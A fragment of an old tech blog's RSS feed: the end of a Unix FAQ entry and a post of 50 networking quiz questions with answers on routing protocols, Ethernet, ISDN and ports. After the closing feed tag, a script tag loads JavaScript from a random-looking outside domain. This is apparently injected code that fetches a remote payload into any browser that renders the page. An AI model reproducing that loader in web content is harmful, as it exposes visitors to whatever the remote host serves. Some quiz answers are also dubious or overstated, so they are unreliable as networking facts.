<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950848"></a><a name="_Toc159993639"><span style="mso-bookmark: _Toc169950848;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.8 I have a file that contains over 5000 blank lines made out of 1 or more spaces (mostly 100 spaces). How do I remove them?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> Type the following (don&#8217;t forget the space before the asterix/star character): </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>g/^ *$/d</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/unix-faqs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>50 Networking Questions</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/50-networking-questions/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/50-networking-questions/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:00:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[50 Networking Questions]]></category>
		<category><![CDATA[DLCI]]></category>
		<category><![CDATA[EIGRP]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[LMI]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[questions]]></category>
		<category><![CDATA[SPF/Djkistra’s Algorithm]]></category>
		<category><![CDATA[technical FAQ]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=155</guid>
		<description><![CDATA[1) The protocol used between a DTE and DCE to manage the connection (a frame relay connection) is ___________. 
Ans) LMI (Local Management Interface) 
 
 
2) DLCIs are ________ significant.(Hint: Is it locally or globally?). 
 
Ans) locally         
 
 
3) The algorithm used by the link-state protocols to calculate the best routes is_______. 
Ans) SPF/Djkistra’s Algorithm
 
 
4) EIGRP decides if a route can be a [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">1) The protocol used between a DTE and DCE to manage the connection (a frame relay connection) is ___________. </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) LMI (Local Management Interface)</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"> </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">2) DLCIs are ________ significant.(Hint: Is it locally or globally?). </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans)</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"> locally         </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">3) The algorithm used by the link-state protocols to calculate the best routes is_______. </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans)</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"> SPF/Djkistra’s Algorithm</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">4) EIGRP decides if a route can be a feasible successor if the Advertised distance of that route from the neighbor is ________ than the feasible distance of that route.(Hint: Greater/Lesser). </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) lesser</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"> </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">5) What is the link-state protocol that supports both OSI and IP layers? </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">IS-IS </span></strong></p>
<p class="MsoNormal"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">6)  From which memory does the router boot without the boot system command by default?        Ans)<span style="mso-spacerun: yes;">  </span>FLASH</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;"> </span></span></strong><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">7)  All the line vtys need not have the same password.           [Yes or no]??       Ans) YES </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">8)  Which is the command to encrypt all the passwords at a time?<span style="mso-spacerun: yes;">  </span>Ans) Service Password encryption      </span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">9)  Which command is used for changing the number of commands to be recalled? Ans) Terminal History Size history size </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">10)  Which protocol relies on neighbor tables, topology tables, route states, and route tagging? Ans) EIGRP </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"> </span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">11) </span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">The maximum number of satellite hops allowed in voice communication is</span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana;"><span style="mso-spacerun: yes;">     </span></span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) 2 hops</span></strong><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">12) What action is taken when the processor under execution is interrupted by a non-maskable interrupt?</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"></span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana;">a) Processor serves the interrupt request after completing the execution of the current instruction.<br />
b) Processor serves the interrupt request after completing the current task.<br />
c) Processor serves the interrupt request immediately.<br />
d) Processor serving the interrupt request depends upon the priority of the current task under execution.</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) a</span></strong></p>
<p style="margin-left: 0.25in; text-indent: -0.25in; mso-list: l0 level1 lfo2; tab-stops: list 0in .5in;"><strong><span style="color: blue; font-family: Verdana; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana; mso-bidi-font-size: 10.0pt;"><span style="mso-list: Ignore;">13)<span style="font: 7pt 'Times New Roman';">         </span></span></span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;"> </span>What is the type of signaling used between two exchanges?</span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana;"> </span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"></span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana;"><span style="mso-spacerun: yes;"> </span></span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) Inband</span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">14) </span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">A software that allows a personal computer to pretend as a computer terminal is ….</span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana;"><span style="mso-spacerun: yes;">  </span></span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) Terminal emulation</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">15) If the period length T of a pulse is increased, the amplitude of the dc term will ….<span style="mso-spacerun: yes;">  </span>Ans) Decrease</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">16) The highest harmonic generated by human voice is &#8212;&#8212;&#8211;<span style="mso-spacerun: yes;">    </span>Ans) 3 KHz</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">17) Any electronic device on a network is called as &#8212;&#8211; Ans) Node</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">18) Which equipment is installed in a PC and allows the PC to get connected to a network?<span style="mso-spacerun: yes;">  </span>Ans) NIC</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">19)<span style="mso-spacerun: yes;">  </span></span></strong><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">What is the result of segmenting a network with a bridge? Will it increase or decrease the number of collision domains? Ans) Increase</span></strong><span style="font-size: 10pt; color: black; font-family: Verdana;"></span></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">20) What is the link state routing protocol used in TCP/IP protocol stack?<span style="mso-spacerun: yes;">   </span>Ans) OSPF</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">21) What is the total bandwidth of all the channels on a PRI circuit?<span style="mso-spacerun: yes;">    </span>Ans) 1.544 Mbps</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">22) What is the bandwidth capacity of a ISDN B channel?<span style="mso-spacerun: yes;">     </span>Ans) 64 Kbps</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">23) What type of connector is used in a 10base2 network?<span style="mso-spacerun: yes;">  </span>Ans)<span style="mso-spacerun: yes;">  </span>BNC (British Naval Connector)</span></strong></p>
<p><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">24) </span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">What does the &#8220;F&#8221; stand for in 10baseF and the &#8220;T&#8221; stand for in 10baseT?</span></strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">  </span><strong style="mso-bidi-font-weight: normal;">Ans) Optical Fiber Cable, Twisted Pair Cable</strong></span></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">25) What protocol provides dial-up telephone connections using the Network Layer IP protocol?</span></strong><span style="font-size: 10pt; color: black; font-family: Verdana;"><span style="mso-spacerun: yes;">   </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) SLIP</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">26) The size of UDP header is<span style="mso-spacerun: yes;">                                                              </span>Ans) 8 bytes</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">27) IP corresponds to which OSI layer?<span style="mso-spacerun: yes;">    </span>Ans) Network</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">28) Which form of DSl theoretically provides the fastest service?<span style="mso-spacerun: yes;">   </span>Ans) VDSL</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">29) Which PDU is employed at the Transport Layer?<span style="mso-spacerun: yes;">    </span>Ans) Segment</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">30) Which OSI layer performs error detection functions?<span style="mso-spacerun: yes;">   </span>Ans) Data Link Layer</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">31) <a href="http://compnetworking.about.com/library/tests/bl012101a5.htm"><span style="color: black; text-decoration: none; text-underline: none;">The encapsulation of packets inside packets of a different protocol</span></a> to create and maintain the virtual circuit is termed as ……<span style="mso-spacerun: yes;">    </span>Ans) Tunnelling</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">32) Who is responsible for the invention of Ethernet?<span style="mso-spacerun: yes;">        </span>Ans) D.R.Boggs along with Bob Metcalfe</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">33) Thicknet is a colloquial name for which Ethernet Standard?<span style="mso-spacerun: yes;">   </span>Ans) 10 Base 5</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">34) On Ethernet LAN s the Ethernet address is also known as …….<span style="mso-spacerun: yes;">   </span>Ans) MAC address or Physical Address or Hardware Address</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">35) What is the basic unit of Ethernet traffic?<span style="mso-spacerun: yes;">     </span>Ans) Frames</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">36) Routing occurs at what layer of OSI model?<span style="mso-spacerun: yes;">  </span>Ans) Network</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">37) IP RIP runs over what UDP port number?<span style="mso-spacerun: yes;">   </span>Ans) 520</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">38) Which BGP version is most widely used today?<span style="mso-spacerun: yes;">          </span>Ans) 4</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">39) What hardware port is typically designed to connect a Cisco router for modem access?<span style="mso-spacerun: yes;">     </span>Ans) The Auxiliary Port</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">40) How many digits are there in MAC address?<span style="mso-spacerun: yes;">    </span>Ans) 12</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">41) Which of the following is the fastest protocol? </span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">        </span>a) IPX/SPX</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">        </span>b) NetBEUI</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">        </span>c) APPLE TALK</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"><span style="mso-spacerun: yes;">        </span>d) TCP/IP<span style="mso-spacerun: yes;">        </span><span style="mso-spacerun: yes;">                                            </span>Ans) NetBEUI</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">42) A proxy server is what level of Firewall?<span style="mso-spacerun: yes;">    </span>Ans) Application Level</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">43) In which layer of OSI model will the MAC sub layers fit?<span style="mso-spacerun: yes;">    </span>Ans) Data Link Layer</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">44) What is the default port of FTP?<span style="mso-spacerun: yes;">    </span>Ans) 21</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">45) Which Protocol uses token Passing in BUS topology?<span style="mso-spacerun: yes;">   </span>Ans) 802.4</span></strong></p>
<p><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">46)<span style="mso-spacerun: yes;">  </span>Which protocol is responsible for sending the all important email?<span style="mso-spacerun: yes;">   </span>Ans) SMTP</span></strong></p>
<p style="tab-stops: 475.5pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">47) What is the maximum number of computers on a LAN in the Star Topology?<span style="mso-spacerun: yes;">    </span>Ans) 1024</span></strong></p>
<p style="tab-stops: 475.5pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">48) What is the maximum distance for fiber optic cable?<span style="mso-spacerun: yes;">   </span>Ans) 25km</span></strong></p>
<p style="tab-stops: 475.5pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">49) What is the distance constraint of ADSL circuit?<span style="mso-spacerun: yes;">    </span>Ans) 5.4 Km</span></strong></p>
<p style="tab-stops: 475.5pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">50) <span style="mso-bidi-font-weight: bold;">What is the maximum number of PPTP and L2TP connections that can be supported on a Windows 2003 Enterprise edition? <span style="mso-spacerun: yes;"> </span></span></span></strong></p>
<p style="tab-stops: 475.5pt;"><strong><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;">Ans) 1000 and 1000</span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; color: black; font-family: Verdana; mso-bidi-font-family: Arial;"></span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/50-networking-questions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>